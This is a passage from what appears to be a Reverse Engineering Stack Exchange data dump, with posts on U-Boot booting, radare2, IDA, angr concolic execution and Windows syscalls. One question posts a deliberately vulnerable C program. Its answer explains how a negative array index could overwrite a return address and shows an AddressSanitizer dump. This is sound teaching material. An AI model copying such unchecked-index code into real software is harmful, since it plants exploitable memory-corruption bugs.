0x2000100;&#xA;bootdelay=3&#xA;bootfile=uboot.bin&#xA;bootsize=0x60000&#xA;cacheShare=no&#xA;console=console=ttyS0,115200&#xA;device_partition=0:1&#xA;disL2Cache=yes&#xA;disL2Prefetch=yes&#xA;disaMvPnp=no&#xA;eeeEnable=no&#xA;enaClockGating=no&#xA;enaCpuStream=no&#xA;enaDCPref=yes&#xA;enaFPU=yes&#xA;enaICPref=yes&#xA;enaMonExt=no&#xA;enaWrAllo=no&#xA;eth1addr=00:50:43:00:02:02&#xA;eth1mtu=1500&#xA;eth2addr=00:50:43:00:00:02&#xA;eth2mtu=1500&#xA;eth3addr=00:50:43:02:00:00&#xA;eth3mtu=1500&#xA;ethact=egiga0&#xA;ethaddr=00:50:43:00:02:02&#xA;ethmtu=1500&#xA;ethprime=egiga0&#xA;fdt_addr=2040000&#xA;flashsize=134217728&#xA;fullfile=upgrade.bin&#xA;ide_path=/&#xA;image_name=uImage&#xA;initrd_name=uInitrd&#xA;ipaddr=192.168.1.1&#xA;kernel_addr_r=2080000&#xA;kernelsize=0x16000000&#xA;lcd0_enable=0&#xA;lcd0_params=640x480-16@60&#xA;lcd_panel=0&#xA;linuzfile=vmlinuz.bin&#xA;loadaddr=0x02000000&#xA;loads_echo=0&#xA;memsize=253M&#xA;mtddevname=boot&#xA;mtddevnum=0&#xA;mtdids=nand0=mvebu-nand&#xA;mtdparts=mtdparts=mvebu-nand:1536k@0(boot),512k(env),20m(kernel0),20m(kernel1),6m(others),4m(parameter),8m(usercfg),4m(middleware),4m(wlan)&#xA;mvNetConfig=mv_switch_config=none&#xA;mv_pon_addr=00:50:43:02:00:00&#xA;nandEcc=1bit&#xA;nand_erasesize=20000&#xA;nand_oobsize=40&#xA;nand_writesize=800&#xA;netbsd_en=no&#xA;netdev=mii0&#xA;netmask=255.255.255.0&#xA;netretry=no&#xA;partition=nand0,0&#xA;pcieTune=no&#xA;pexMode=RC&#xA;pxe_files_load=:default.arm-armadaxp-db:default.arm-armadaxp:default.arm&#xA;pxefile_addr_r=3100000&#xA;ramdisk_addr_r=2880000&#xA;rcvr_image=rootfs.squashfs.rcvr.img&#xA;rootfile=rootfs.img&#xA;rootpath=/srv/nfs/&#xA;sata_delay_reset=0&#xA;sata_dma_mode=yes&#xA;script_addr_r=3000000&#xA;script_name=boot.scr&#xA;serverip=192.168.1.100&#xA;setL2CacheWT=no&#xA;silent=0&#xA;standalone=fsload 0x2000000 $image_name;setenv bootargs $console $mtdparts root=/dev/mtdblock0 rw ip=$ipaddr:$serverip$bootargs_end; bootm 0x2000000;&#xA;stderr=serial&#xA;stdin=serial&#xA;stdout=serial&#xA;versioninfo=U-Boot V2.0.10T5 0x1600000 0x1 0x82 0x87&#xA;vxworks_en=no&#xA;yuk_ethaddr=00:00:00:EE:51:81&#xA;&#xA;Environment size: 2586/131068 bytes&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;From what I gatered, the &lt;a href=&quot;https://github.com/umiddelb/armhf/wiki/Get-more-out-of-%22Das-U-Boot%22#stage-2-u-boot&quot; rel=&quot;nofollow noreferrer&quot;&gt;stage 2&lt;/a&gt; should load the &lt;code&gt;boot.scr&lt;/code&gt; script and then execute &lt;code&gt;bootcmd&lt;/code&gt;. But trying to do this in shell fails. Trying to run &lt;code&gt;boot.scr&lt;/code&gt; claims there's no valid image at this address and loading it with &lt;code&gt;fsload&lt;/code&gt; fails with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;### JFFS2 loading 'boot.scr' to 0x3000000&#xA;Scanning JFFS2 FS:  done.&#xA;find_inode failed for name=boot.scr&#xA;load: Failed to find inode&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The partition table does exist:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;=&amp;gt; mtdparts&#xA;mtdparts&#xA;&#xA;device nand0 &amp;lt;mvebu-nand&amp;gt;, # parts = 9&#xA; #: name        size        offset      mask_flags&#xA; 0: boot                0x000000180000      0x000000000000      0&#xA; 1: env                 0x000000080000      0x000000180000      0&#xA; 2: kernel0             0x000001400000      0x000000200000      0&#xA; 3: kernel1             0x000001400000      0x000001600000      0&#xA; 4: others              0x000000600000      0x000002a00000      0&#xA; 5: parameter           0x000000400000      0x000003000000      0&#xA; 6: usercfg             0x000000800000      0x000003400000      0&#xA; 7: middleware          0x000000400000      0x000003c00000      0&#xA; 8: wlan                0x000000400000      0x000004000000      0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but listing any of them with &lt;code&gt;ls&lt;/code&gt; gives no results:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;=&amp;gt; ls&#xA;Scanning JFFS2 FS:  done.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm wondering if maybe U-Boot has been compiled without some commands (i.e. &lt;code&gt;fdt&lt;/code&gt; command is missing) or some hardcoded boot sequence? If I don't interrupt the autoboot it looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Hit any key to stop autoboot:  0&#xA;flash block_size is 0x20000&#xA;flash size(search addredd) is 0x8000000&#xA;search.c,372,do_search: search-&amp;gt;result[index].entry = 0x200100&#xA;search.c,372,do_search: search-&amp;gt;result[index].entry = 0x1600100&#xA;do_search ending&#xA;do_startup() start&#xA;select=0x1&#xA;search-&amp;gt;result[select].entry=1600100&#xA;search-&amp;gt;result[1].entry = 0x1600100&#xA;do_startup() ending&#xA;do_settings() start&#xA;do_setting versioninfo&#xA;btNumbers is V2.0.10T5&#xA;## Booting kernel from Legacy Image at 02000100 ...&#xA;   Image Name:   Linux Kernel Image&#xA;   Created:      2017-10-25   9:10:20 UTC&#xA;   Image Type:   ARM Linux Kernel Image (gzip compressed)&#xA;   Data Size:    15128571 Bytes = 14.4 MiB&#xA;   Load Address: 00008000&#xA;   Entry Point:  00008000&#xA;   Verifying Checksum ... OK&#xA;   Uncompressing Kernel Image ... OK&#xA;|--&amp;gt;setup versioninfo tag...versioninfo is U-Boot V2.0.10T5 0x1600000 0x1 0x82 0x87&#xA;&#xA;Starting kernel ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="25644" LastActivityDate="2020-09-17T21:34:59.897" Title="How does U-Boot get from this environment to booting Linux?" Tags="|embedded|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19325" PostTypeId="1" CreationDate="2018-09-12T22:18:03.353" Score="1" ViewCount="270" Body="&lt;p&gt;In new builds of Radare, I'm getting&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Missing cjmp bb in predecessor at 0x1006aa416&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What does this mean? I filed a bug on &lt;a href=&quot;https://github.com/radare/radare2/issues/11511#event-1844107271&quot; rel=&quot;nofollow noreferrer&quot;&gt;this here&lt;/a&gt;. But, it was answered with &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Thanks for reporting but this is a warning, not an error it is caused by the analysis of jump tables in your binary.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What is the cause of this warning?&lt;/p&gt;&#xA;" OwnerUserId="22669" LastEditorUserId="22669" LastEditDate="2018-09-14T05:38:46.693" LastActivityDate="2018-09-14T05:38:46.693" Title="What does &quot;Missing cjmp bb in predecessor&quot; mean?" Tags="|radare2|error|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19327" PostTypeId="1" CreationDate="2018-09-13T09:19:45.617" Score="2" ViewCount="751" Body="&lt;p&gt;I am having difficulties finding the dialog reference in IDA.&#xA;e.g. i can trace a dialog in &quot;resource Hacker&quot; or &quot;PE Explorer&quot; which looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;5035 DIALOG 0, 0, 295, 163&#xA;STYLE DS_SETFONT | DS_MODALFRAME | WS_POPUP&#xA;CAPTION &quot;&quot;&#xA;LANGUAGE LANG_DANISH, 0x1&#xA;FONT 8, &quot;MS Sans Serif&quot;&#xA;{&#xA;   CONTROL &quot;&quot;, -1, STATIC, SS_BLACKFRAME | WS_CHILD, 0, 0, 295, 163 &#xA;   CONTROL &quot;Static&quot;, 1526, STATIC, SS_LEFT | WS_CHILD | WS_VISIBLE | WS_GROUP, 129, 121, 68, 16 &#xA;   CONTROL &quot;Static&quot;, 1527, STATIC, SS_LEFT | WS_CHILD | WS_GROUP, 199, 123, 93, 14 &#xA;   CONTROL 551, -1, STATIC, SS_BITMAP | WS_CHILD | WS_VISIBLE, 0, 0, 295, 163 &#xA;   CONTROL &quot;Progress1&quot;, 1232, &quot;msctls_progress32&quot;, WS_CHILD | WS_VISIBLE | WS_BORDER, 0, 138, 295, 14 &#xA;   CONTROL &quot;Number of trials left:&quot;, -1, STATIC, SS_LEFT | WS_CHILD | WS_VISIBLE | WS_GROUP, 2, 154, 63, 8 &#xA;   CONTROL &quot;15&quot;, 1519, STATIC, SS_LEFT | WS_CHILD | WS_VISIBLE | WS_GROUP, 65, 154, 9, 8 &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How, or what should i look for in IDA in order to find where it is being referenced?&lt;/p&gt;&#xA;" OwnerUserId="25313" LastActivityDate="2019-12-07T18:00:50.090" Title="find a dialog in ida using resource hacker" Tags="|ida|patch-reversing|pe-resources|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19328" PostTypeId="2" ParentId="19315" CreationDate="2018-09-13T09:30:27.350" Score="3" Body="&lt;p&gt;You can use the  &lt;strong&gt;procmon&lt;/strong&gt; to see which processes send and receive network packets. Procmon is a tool in windows Sysinternals tools set,you can download from this &lt;a href=&quot;https://docs.microsoft.com/en-us/sysinternals/downloads/procmon&quot; rel=&quot;nofollow noreferrer&quot;&gt;link&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16673" LastActivityDate="2018-09-13T09:30:27.350" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19329" PostTypeId="2" ParentId="19327" CreationDate="2018-09-13T11:44:05.190" Score="-1" Body="&lt;p&gt;Search for a call to FindResource with 5035(0x13AB) as lpName argument&lt;/p&gt;&#xA;" OwnerUserId="22324" LastActivityDate="2018-09-13T11:44:05.190" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="19330" PostTypeId="1" CreationDate="2018-09-13T13:01:23.210" Score="5" ViewCount="984" Body="&lt;p&gt;I have a program that takes a string (with some structure) as input. My aim is to collect information on what values each character in input is compared to as it gets parsed using &lt;em&gt;concolic execution&lt;/em&gt;. What is the right way to go about it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My subject is a &lt;a href=&quot;https://github.com/vrthra/expr-tdr&quot; rel=&quot;noreferrer&quot;&gt;simple recursive descent parser for expressions&lt;/a&gt; and it accepts inputs of the form &lt;code&gt;1+(2*3)&lt;/code&gt; etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I have tried so far:&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Wrote a program that constructs an initial state with string arguments, executed it through stepping one at a time, and at the end, collect constraints.&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import sys&#xA;import angr&#xA;&#xA;class Program:&#xA;    def __init__(self, exe):&#xA;        self.exe = exe&#xA;        self.project = angr.Project(exe, load_options={'auto_load_libs': False})&#xA;&#xA;    def set_input(self, arg):&#xA;        self.arg1 = arg&#xA;&#xA;        self.initial_state = self.project.factory.entry_state(&#xA;                args=[self.exe, self.arg1],&#xA;                # does not seem to startup the unicorn engine&#xA;                add_options=angr.options.unicorn,&#xA;                )&#xA;&#xA;    def run(self):&#xA;        state = self.initial_state&#xA;        while True:&#xA;            succ = state.step()&#xA;            if len(succ.successors) &amp;gt; 1:&#xA;                raise Exception('more successors %d' % len(succ.successors))&#xA;            if not succ.successors: return state&#xA;            state, = succ.successors&#xA;&#xA;def main(exe, arg):&#xA;    prog = Program(exe)&#xA;    prog.set_input(arg)&#xA;    res = prog.run()&#xA;    print(&quot;constraints: %d&quot; % len(res.solver.constraints))&#xA;    for i in res.solver.constraints:&#xA;        print(i)&#xA;    print('done')&#xA;&#xA;if __name__ == '__main__':&#xA;    assert len(sys.argv) &amp;gt;= 3&#xA;    main(sys.argv[1], sys.argv[2])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I execute this, I get zero constraints.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Using constrained symbolic arguments&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;I got the idea that I should make the arguments symbolic, and add constraints to each characters in the input, using state.add_constraints, and look for the constraints produced at the end.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import sys&#xA;import angr&#xA;import claripy&#xA;&#xA;class Program:&#xA;    ARG_PREFIX = 'sym_arg'&#xA;    def __init__(self, exe):&#xA;        self.exe = exe&#xA;        self.project = angr.Project(exe, load_options={'auto_load_libs': False})&#xA;&#xA;    def set_input(self, arg):&#xA;        # generate arg1 from individual characters.&#xA;        self.arg1 = self.make_symbolic_char_args(arg)&#xA;&#xA;        self.initial_state = self.project.factory.entry_state(&#xA;                args=[self.exe, self.arg1],&#xA;                add_options=angr.options.unicorn,&#xA;                # does not seem to affect the number of constraints created&#xA;                # remove_options=angr.options.simplification&#xA;                )&#xA;        self.constrain_input_chars(self.initial_state, self.arg1a, arg)&#xA;        self.string_terminate(self.initial_state, self.arg1a, arg)&#xA;&#xA;    def string_terminate(self, state, symarg, inarg):&#xA;        state.add_constraints(symarg[len(inarg)] == 0)&#xA;&#xA;    def constrain_input_chars(self, state, symarg, sarg):&#xA;        constraints = []&#xA;        for i,a in enumerate(sarg):&#xA;            state.add_constraints(symarg[i] == a)&#xA;&#xA;    def run(self):&#xA;        state = self.initial_state&#xA;        while True:&#xA;            succ = state.step()&#xA;            if len(succ.successors) &amp;gt; 1:&#xA;                raise Exception('more successors %d' % len(succ.successors))&#xA;            if not succ.successors: return state&#xA;            state, = succ.successors&#xA;&#xA;    def make_symbolic_char_args(self, instr, symbolic=True):&#xA;        if not symbolic: return instr&#xA;        input_len = len(instr)&#xA;        largs = range(0, input_len+1)&#xA;        arg1k = ['%s_%d' % (Program.ARG_PREFIX, i) for i in largs]&#xA;        self.arg1h = {k:claripy.BVS(k, 8) for k in arg1k}&#xA;        self.arg1a = [self.arg1h[k] for k in arg1k]&#xA;        return reduce(lambda x,y: x.concat(y), self.arg1a)&#xA;&#xA;&#xA;def main(exe, arg):&#xA;    prog = Program(exe)&#xA;    prog.set_input(arg)&#xA;    res = prog.run()&#xA;    print(&quot;constraints: %d&quot; % len(res.solver.constraints))&#xA;    for i in res.solver.constraints:&#xA;        print(i)&#xA;    print('done')&#xA;&#xA;if __name__ == '__main__':&#xA;    assert len(sys.argv) &amp;gt;= 3&#xA;    main(sys.argv[1], sys.argv[2])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;While this results in a large number of constraints at the end, I am at a loss how to interpret these constraints to what I want -- comparisons to input characters. The constraints are fairly complex, but there are lots duplicated portions in each item. Any advice on translating these constraints that look like below to actual character comparisons would be greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;&amp;lt;Bool (((if (sym_arg_0_0_8 == 0) then 0x0 else (if (sym_arg_1_1_8 == 0) then 0x1 else (if (sym_arg_2_2_8 == 0) then 0x2 else (if (sym_arg_3_3_8 == 0) then 0x3 else 0x4)))) + 0x7fffffffffeffd4) - 0x7fffffffffeffd4) == strlen_5_64&amp;gt;&#xA;&amp;lt;Bool 0x1 &amp;lt;= strlen_5_64&amp;gt;&#xA;&amp;lt;Bool ((0#56 .. 0#7 .. __invert__((if ((sym_arg_0_0_8 == 40) &amp;amp;&amp;amp; (sym_arg_0_0_8[7:7] == 0)) then 1 else 0))) &amp;amp; 0xff) != 0x0&amp;gt;&#xA;&amp;lt;Bool (((if (sym_arg_0_0_8 == 0) then 0x0 else (if (sym_arg_1_1_8 == 0) then 0x1 else (if (sym_arg_2_2_8 == 0) then 0x2 else (if (sym_arg_3_3_8 == 0) then 0x3 else 0x4)))) + 0x7fffffffffeffd4) - 0x7fffffffffeffd4) == strlen_6_64&amp;gt;&#xA;&amp;lt;Bool 0x1 &amp;lt;= strlen_6_64&amp;gt;&#xA;&amp;lt;Bool ((0#56 .. 0#7 .. (if ((sym_arg_0_0_8 == 49) &amp;amp;&amp;amp; (sym_arg_0_0_8[7:7] == 0)) then 1 else 0)) &amp;amp; 0xff) != 0x0&amp;gt;&#xA;&amp;lt;Bool (((if (sym_arg_0_0_8 == 0) then 0x0 else (if (sym_arg_1_1_8 == 0) then 0x1 else (if (sym_arg_2_2_8 == 0) then 0x2 else (if (sym_arg_3_3_8 == 0) then 0x3 else 0x4)))) + 0x7fffffffffeffd4) - 0x7fffffffffeffd4) == strlen_7_64&amp;gt;&#xA;&amp;lt;Bool 0x2 &amp;lt;= strlen_7_64&amp;gt;&#xA;&amp;lt;Bool ((0#56 .. 0#7 .. (if ((sym_arg_1_1_8 == 49) &amp;amp;&amp;amp; (sym_arg_1_1_8[7:7] == 0)) then 1 else 0)) &amp;amp; 0xff) == 0x0&amp;gt;&#xA;&amp;lt;Bool (((if (sym_arg_0_0_8 == 0) then 0x0 else (if (sym_arg_1_1_8 == 0) then 0x1 else (if (sym_arg_2_2_8 == 0) then 0x2 else (if (sym_arg_3_3_8 == 0) then 0x3 else 0x4)))) + 0x7fffffffffeffd4) - 0x7fffffffffeffd4) == strlen_8_64&amp;gt;&#xA;&amp;lt;Bool 0x2 &amp;lt;= strlen_8_64&amp;gt;&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;Problem: too slow&#xA;&#xA;&lt;p&gt;The above approach also takes too long to execute even for inputs a few characters long. I tried executing the above on &lt;a href=&quot;https://github.com/vrthra/expr-tdr&quot; rel=&quot;noreferrer&quot;&gt;simple recursive descent parser for expressions&lt;/a&gt; with input of a few characters: (&lt;code&gt;1+4/1+4/(1+4)&lt;/code&gt;). It took more than 30 minutes to parse!, while the running the parser directly comes out in less than a second. I would be OK with that time if there was no other way out, but this being concolic, I cant shake the feeling that there must be a better way.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Using unconstrained symbolic arguments, but exploring my own&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;The idea is that I start with the input constraints such that each symbolic character equal to corresponding input. Then I provide my own path of execution such that only the paths that satisfy the input constraints are chosen for further execution. My idea was that since I do not start the original character constraints in the initial state, I can inspect the final state to determine other constraints that accumulated on each character.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import claripy&#xA;import sys&#xA;import angr&#xA;&#xA;class Program:&#xA;    ARG_PREFIX = 'sym_arg'&#xA;    def __init__(self, exe):&#xA;        self.exe = exe&#xA;        self.project = angr.Project(exe, load_options={'auto_load_libs': False})&#xA;&#xA;    def set_input(self, arg):&#xA;        # generate arg1 from individual characters.&#xA;        self.arg1 = self.make_symbolic_char_args(arg)&#xA;        self._constraints = []&#xA;        self.constrain_input_chars(self.arg1a, arg)&#xA;        self.string_terminate(self.arg1a, arg)&#xA;        self.constraints = claripy.And(*self._constraints)&#xA;        self.initial_state = self.project.factory.entry_state(&#xA;                args=[self.exe, self.arg1],&#xA;                add_options=angr.options.unicorn,&#xA;                )&#xA;&#xA;    def string_terminate(self, symarg, inarg):&#xA;        self._constraints.append(symarg[len(inarg)] == 0)&#xA;&#xA;    def constrain_input_chars(self, symarg, sarg):&#xA;        for i,a in enumerate(sarg):&#xA;            self._constraints.append(symarg[i] == a)&#xA;&#xA;    def get_satisfying_state(self, state):&#xA;        succ = state.step()&#xA;        if not succ.successors: return None&#xA;        result = [i.satisfiable(extra_constraints=(self.constraints,)) for i in succ.successors]&#xA;        assert len(result) == 1&#xA;        return result[0]&#xA;&#xA;    def run(self):&#xA;        state = self.initial_state&#xA;        while True:&#xA;            newstate = self.get_satisfying_state(state)&#xA;            if not newstate: return state&#xA;&#xA;    def make_symbolic_char_args(self, instr, symbolic=True):&#xA;        if not symbolic: return instr&#xA;        input_len = len(instr)&#xA;        largs = range(0, input_len+1)&#xA;        arg1k = ['%s_%d' % (Program.ARG_PREFIX, i) for i in largs]&#xA;        self.arg1h = {k:claripy.BVS(k, 8) for k in arg1k}&#xA;        self.arg1a = [self.arg1h[k] for k in arg1k]&#xA;        return reduce(lambda x,y: x.concat(y), self.arg1a)&#xA;&#xA;def main(exe, arg):&#xA;    prog = Program(exe)&#xA;    prog.set_input(arg)&#xA;    res = prog.run()&#xA;    print(&quot;constraints: %d&quot; % len(res.solver.constraints))&#xA;    for i in res.solver.constraints:&#xA;        print(i)&#xA;    print('done')&#xA;&#xA;if __name__ == '__main__':&#xA;    assert len(sys.argv) &amp;gt;= 3&#xA;    main(sys.argv[1], sys.argv[2])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This again did not work, as it takes extremely long time to parse even a few characters.&lt;/p&gt;&#xA;&#xA;Other options I have considered&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Writing a memory hook that monitors when the input string memory is read from.&#xA;But this wont work for me because the characters may be copied before compared.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I have read the &lt;a href=&quot;https://docs.angr.io/&quot; rel=&quot;noreferrer&quot;&gt;angr docs&lt;/a&gt; multiple times now and can't figure out what to do. I cant shake the feeling that it should be simpler as &lt;em&gt;angr&lt;/em&gt; is a &lt;em&gt;symbolic execution engine&lt;/em&gt; that supports &lt;em&gt;concolic execution&lt;/em&gt;, and what I am doing is pretty much plain vanila &lt;em&gt;concolic execution&lt;/em&gt;. What can I do next?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated!.&lt;/p&gt;&#xA;" OwnerUserId="25650" LastActivityDate="2020-01-04T00:17:44.897" Title="How do I perform concolic execution with Angr and collect constraints on input?" Tags="|binary-analysis|python|dynamic-analysis|angr|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19331" PostTypeId="1" AcceptedAnswerId="19334" CreationDate="2018-09-13T13:58:51.410" Score="3" ViewCount="397" Body="&lt;p&gt;I get this code and I can not find the vulnerability.&#xA;I think this code may be vulnerable to buffer overflow. How do I prove it? &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;stdlib.h&amp;gt;&#xA;#include &amp;lt;stdbool.h&amp;gt;&#xA;&#xA;typedef struct _AC_DATA&#xA;{   &#xA;    int the;&#xA;    int fan;&#xA;    bool rec;&#xA;} AC_DATA, *PAC_DATA;&#xA;&#xA;typedef struct _RADIO_DATA&#xA;{&#xA;    char speakers_volume[4];&#xA;    int station;&#xA;} RADIO_DATA, *PRADION_DATA;&#xA;&#xA;typedef struct _GLOBAL_DATA&#xA;{&#xA;    AC_DATA ac_data;&#xA;    RADIO_DATA radio_data;&#xA;}GLOBAL_DATA, *PGLOBAL_DATA;&#xA;&#xA;void good()&#xA;{&#xA;    printf(&quot;Good!\n&quot;);&#xA;}&#xA;&#xA;int update_volume(PGLOBAL_DATA pglobal_data, int index, int new_volume)&#xA;{&#xA;    char arr[100];&#xA;&#xA;    if(index &amp;gt; 4)&#xA;    {&#xA;        printf(&quot;error invalid speaker.\n&quot;);&#xA;        return -1;&#xA;    }&#xA;    printf(&quot;updating the speaker %d to volume %d\n&quot;, index, new_volume);&#xA;    pglobal_data -&amp;gt; radio_data.speakers_volume[index] = new_volume;&#xA;}&#xA;&#xA;void hacked()&#xA;{&#xA;    printf(&quot;Hacked!\n&quot;);&#xA;}&#xA;&#xA;&#xA;int main () {&#xA;&#xA;    GLOBAL_DATA global_data = {0};&#xA;    int index;&#xA;    int new_volume;&#xA;    printf(&quot;address of main: 0x%X.\n&quot;, main);&#xA;    printf(&quot;enter volume index:&quot;);&#xA;    scanf(&quot;%d&quot;, &amp;amp;index);&#xA;    printf(&quot;enter new volume:&quot;);&#xA;    scanf(&quot;%d&quot;, &amp;amp;new_volume);&#xA;    update_volume(&amp;amp;global_data, index, new_volume);&#xA;&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="25651" LastEditorUserId="18317" LastEditDate="2018-09-16T14:53:44.243" LastActivityDate="2018-09-16T14:53:44.243" Title="someone can help me recognize the vulnerability" Tags="|buffer-overflow|vulnerability-analysis|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="19333" PostTypeId="1" AcceptedAnswerId="19337" CreationDate="2018-09-13T15:20:30.227" Score="9" ViewCount="6883" Body="&lt;p&gt;From this question: &lt;a href=&quot;https://reverseengineering.stackexchange.com/q/16075/23069&quot;&gt;How does the Windows Native API communicate with the kernel?&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Here is an example of &lt;code&gt;ZwClose(HANDLE Handle);&lt;/code&gt; system call in NTDLL.DLL in Windows 10 X86_64:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;NtClose         proc near&#xA;mov     r10, rcx&#xA;mov     eax, 0Fh&#xA;test    byte ptr ds:7FFE0308h, 1&#xA;jnz     short loc_a&#xA;syscall&#xA;retn&#xA;&#xA;loc_a:&#xA;int     2Eh&#xA;retn&#xA;NtClose         endp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;My question is, why there is two different instruction &lt;code&gt;syscall&lt;/code&gt; and &lt;code&gt;int 0x2E&lt;/code&gt; in one subroutine? The &lt;code&gt;0xF&lt;/code&gt; value in EAX is the ID of &lt;code&gt;ZwClose()&lt;/code&gt; and/or &lt;code&gt;NtCose()&lt;/code&gt;. While debugging, code execution never goes to &lt;code&gt;int 0x2E&lt;/code&gt;, &lt;code&gt;syscall&lt;/code&gt; instruction is always executed and &lt;a href=&quot;http://www.osronline.com/article.cfm?id=257&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;ds:7FFE0308h&lt;/code&gt; becomes zero&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;" OwnerUserId="23069" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2023-02-14T14:28:59.423" Title="What are the difference syscall and int 0x2E instructions?" Tags="|windows|x86|kernel-mode|system-call|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19334" PostTypeId="2" ParentId="19331" CreationDate="2018-09-13T16:20:52.153" Score="3" Body="&lt;p&gt;The bug is in &lt;code&gt;update_volume&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;pglobal_data -&amp;gt; radio_data.speakers_volume[index] = new_volume;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;index&lt;/code&gt; is an int, it can take negative values too. Ideally you should not be able to access -ve indices in an array as it gives you read/write over memory area preceding the array. Here we just have a check to limit its max value to 4 but you can use negative integers to INT_MIN and overwrite a byte.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For exploitation, &lt;code&gt;global_data&lt;/code&gt; belongs to main's stack frame. Accessing negative indices you can overwrite a byte in return address of &lt;code&gt;update_volume&lt;/code&gt; (somewhere in main) on the stack. This gives you the primitive to jump to maybe &lt;code&gt;hacked&lt;/code&gt; or &lt;code&gt;good&lt;/code&gt; functions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Resources: Use &lt;a href=&quot;https://github.com/google/sanitizers/wiki/AddressSanitizer&quot; rel=&quot;nofollow noreferrer&quot;&gt;ASAN&lt;/a&gt; to verify your claims while fuzzing with inputs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the ASAN dump for this case.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ASAN_SYMBOLIZER_PATH=/usr/lib/llvm-6.0/bin/llvm-symbolizer ./test&#xA;address of main: 0xCA77FE6F.&#xA;enter volume index:-36&#xA;enter new volume:65&#xA;updating the speaker -36 to volume 65&#xA;=================================================================&#xA;==27759==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffebfb3ff98 at pc 0x55f1ca77fe6f bp 0x7ffebfb3fed0 sp 0x7ffebfb3fec0&#xA;WRITE of size 1 at 0x7ffebfb3ff98 thread T0&#xA;    #0 0x55f1ca77fe6e in update_volume /tmp/re.c:39&#xA;    #1 0x55f1ca78004b in main /tmp/re.c:57&#xA;    #2 0x7f237a433b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)&#xA;    #3 0x55f1ca77fcf9 in _start (/tmp/test+0xcf9)&#xA;&#xA;Address 0x7ffebfb3ff98 is located in stack of thread T0 at offset 136 in frame&#xA;    #0 0x55f1ca77fe7e in main /tmp/re.c:47&#xA;&#xA;  This frame has 3 object(s):&#xA;    [32, 36) 'index'&#xA;    [96, 100) 'new_volume'&#xA;    [160, 180) 'global_data' &amp;lt;== Memory access at offset 136 underflows this variable&#xA;HINT: this may be a false positive if your program uses some custom stack unwind mechanism or swapcontext&#xA;      (longjmp and C++ exceptions *are* supported)&#xA;SUMMARY: AddressSanitizer: stack-buffer-overflow /tmp/re.c:39 in update_volume&#xA;Shadow bytes around the buggy 